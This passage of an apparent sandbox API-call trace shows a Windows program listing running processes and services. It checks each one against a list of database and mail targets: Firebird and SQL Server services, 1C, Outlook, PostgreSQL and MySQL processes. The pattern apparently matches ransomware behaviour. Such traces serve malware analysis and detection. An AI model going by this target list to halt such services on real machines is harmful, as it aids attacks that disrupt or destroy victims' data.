lpString2="ShellHWDetection") returned 1 [0253.378] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0253.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0253.378] lstrlenW (lpString="Spooler") returned 7 [0253.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0253.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0253.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0253.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0253.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0253.378] lstrlenW (lpString="SysMain") returned 7 [0253.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0253.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0253.379] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0253.379] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0253.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0253.379] lstrlenW (lpString="Themes") returned 6 [0253.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0253.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0253.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0253.379] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0253.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0253.379] lstrlenW (lpString="TrkWks") returned 6 [0253.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0253.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0253.379] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0253.380] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0253.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0253.380] lstrlenW (lpString="UxSms") returned 5 [0253.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0253.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0253.380] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0253.380] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0253.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0253.380] lstrlenW (lpString="WdiServiceHost") returned 14 [0253.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0253.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0253.380] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0253.381] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0253.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0253.381] lstrlenW (lpString="WdiSystemHost") returned 13 [0253.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0253.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0253.381] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0253.381] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0253.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0253.381] lstrlenW (lpString="Winmgmt") returned 7 [0253.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0253.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0253.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0253.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0253.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0253.381] lstrlenW (lpString="WPDBusEnum") returned 10 [0253.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0253.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0253.382] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0253.382] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0253.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0253.382] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0253.382] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354 [0253.388] Process32FirstW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.389] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0253.390] lstrlenW (lpString="System") returned 6 [0253.390] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0253.390] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0253.390] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0253.390] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0253.391] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0253.391] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0253.391] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0253.391] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0253.392] lstrlenW (lpString="smss.exe") returned 8 [0253.392] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0253.392] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0253.392] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0253.392] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0253.392] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0253.392] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0253.392] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0253.392] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.393] lstrlenW (lpString="csrss.exe") returned 9 [0253.393] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0253.393] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0253.393] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0253.393] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0253.394] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0253.394] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0253.394] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0253.394] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0253.395] lstrlenW (lpString="wininit.exe") returned 11 [0253.395] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0253.395] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0253.395] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0253.395] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0253.395] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0253.395] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0253.395] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0253.395] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.396] lstrlenW (lpString="csrss.exe") returned 9 [0253.396] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0253.396] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0253.397] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0253.397] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0253.397] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0253.397] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0253.397] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0253.397] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0253.398] lstrlenW (lpString="winlogon.exe") returned 12 [0253.398] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0253.398] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0253.398] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0253.398] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0253.399] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0253.400] lstrlenW (lpString="services.exe") returned 12 [0253.400] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0253.573] lstrlenW (lpString="lsass.exe") returned 9 [0253.574] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0253.575] lstrlenW (lpString="lsm.exe") returned 7 [0253.575] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.576] lstrlenW (lpString="svchost.exe") returned 11 [0253.576] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.577] lstrlenW (lpString="svchost.exe") returned 11 [0253.577] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.578] lstrlenW (lpString="svchost.exe") returned 11 [0253.578] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.579] lstrlenW (lpString="svchost.exe") returned 11 [0253.579] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.580] lstrlenW (lpString="svchost.exe") returned 11 [0253.580] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0253.581] lstrlenW (lpString="audiodg.exe") returned 11 [0253.581] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.582] lstrlenW (lpString="svchost.exe") returned 11 [0253.583] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0253.584] lstrlenW (lpString="explorer.exe") returned 12 [0253.584] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0253.585] lstrlenW (lpString="dwm.exe") returned 7 [0253.585] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.586] lstrlenW (lpString="svchost.exe") returned 11 [0253.586] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0253.587] lstrlenW (lpString="winhost.exe") returned 11 [0253.587] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0253.589] lstrlenW (lpString="spoolsv.exe") returned 11 [0253.589] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.590] lstrlenW (lpString="svchost.exe") returned 11 [0253.590] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0253.591] lstrlenW (lpString="taskhost.exe") returned 12 [0253.591] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0253.593] lstrlenW (lpString="reader_sl.exe") returned 13 [0253.593] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0253.594] lstrlenW (lpString="taskhost.exe") returned 12 [0253.594] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0253.595] CloseHandle (hObject=0x354) returned 1 [0253.595] Sleep (dwMilliseconds=0x1f4) [0255.676] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e1a8 [0256.544] EnumServicesStatusExW (in: hSCManager=0x62e1a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0256.545] GetLastError () returned 0xea [0256.545] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0256.546] EnumServicesStatusExW (in: hSCManager=0x62e1a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0256.548] CloseServiceHandle (hSCObject=0x62e1a8) returned 1 [0256.549] lstrlenW (lpString="Appinfo") returned 7 [0256.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0256.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0256.549] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0256.549] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0256.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0256.549] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0256.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0256.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0256.549] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0256.549] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0256.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0256.550] lstrlenW (lpString="AudioSrv") returned 8 [0256.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0256.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0256.550] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0256.550] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0256.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0256.550] lstrlenW (lpString="BFE") returned 3 [0256.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0256.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0256.550] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0256.551] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0256.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0256.551] lstrlenW (lpString="CryptSvc") returned 8 [0256.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0256.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0256.551] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0256.551] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0256.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0256.553] lstrlenW (lpString="CscService") returned 10 [0256.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0256.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0256.553] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0256.553] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0256.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0256.554] lstrlenW (lpString="DcomLaunch") returned 10 [0256.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0256.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0256.554] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0256.554] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0256.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0256.554] lstrlenW (lpString="Dhcp") returned 4 [0256.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0256.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0256.554] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0256.554] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0256.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0256.555] lstrlenW (lpString="Dnscache") returned 8 [0256.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0256.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0256.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0256.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0256.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0256.555] lstrlenW (lpString="DPS") returned 3 [0256.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0256.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0256.555] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0256.555] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0256.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0256.556] lstrlenW (lpString="eventlog") returned 8 [0256.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0256.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0256.556] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0256.556] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0256.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0256.556] lstrlenW (lpString="EventSystem") returned 11 [0256.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0256.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0256.556] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0256.556] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0256.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0256.557] lstrlenW (lpString="gpsvc") returned 5 [0256.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0256.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0256.557] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0256.557] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0256.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0256.557] lstrlenW (lpString="iphlpsvc") returned 8 [0256.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0256.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0256.557] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0256.558] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0256.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0256.558] lstrlenW (lpString="LanmanServer") returned 12 [0256.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0256.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0256.558] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0256.558] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0256.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0256.558] lstrlenW (lpString="LanmanWorkstation") returned 17 [0256.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0256.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0256.558] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0256.559] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0256.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0256.559] lstrlenW (lpString="lmhosts") returned 7 [0256.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0256.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0256.559] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0256.559] lstrcmpiW (lpString1="mssqlserver", 